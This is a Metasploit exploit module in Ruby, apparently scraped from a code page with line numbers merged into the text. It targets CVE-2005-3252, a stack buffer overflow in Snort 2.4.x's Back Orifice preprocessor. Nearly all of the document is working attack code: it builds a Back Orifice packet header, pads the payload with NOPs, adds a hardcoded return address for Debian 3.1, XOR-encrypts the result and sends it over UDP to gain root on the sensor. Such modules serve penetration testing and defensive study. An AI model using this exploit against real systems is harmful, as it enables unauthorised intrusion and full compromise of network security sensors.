Path: blob/master/modules/exploits/linux/ids/snortbopre.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the Back Orifice pre-processor module17included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could18be used to completely compromise a Snort sensor, and would typically gain an attacker19full root or administrative privileges.20},21'Author' => 'KaiJern Lau <xwings[at]mysec.org>',22'License' => BSD_LICENSE,23'References' => [24['CVE', '2005-3252'],25['OSVDB', '20034'],26['BID', '15131']27],28'Payload' => {29'Space' => 1073, # ret : 106930'BadChars' => "\x00"31},32'Platform' => %w[linux],33'Targets' => [34# Target 0: Debian 3.1 Sarge35[36'Debian 3.1 Sarge',37{38'Platform' => 'linux',39'Ret' => 0xbffff35040}41],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2005-10-18',45'Notes' => {46'Stability' => [],47'SideEffects' => [IOC_IN_LOGS],48'Reliability' => []49}50)51)5253register_options(54[55Opt::RPORT(9080),56]57)58end5960def msrand(_seed)61@holdrand = 3133762end6364def mrand65return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)66end6768def bocrypt(takepayload)69@arrpayload = takepayload.split(//)7071encpayload = ''72@holdrand = 073msrand(0)7475@arrpayload.each do |c|76encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr77end7879return encpayload80end8182def exploit83connect_udp8485boheader =86'*!*QWTY?' +87[1096].pack('V') + # Length, thanx Russell Sanford88"\xed\xac\xef\x0d" + # ID89"\x01" # PING9091filler = make_nops(1069 - (boheader.length + payload.encode.length))9293udp_sock.write(94bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))95)9697handler98disconnect_udp99end100end101102103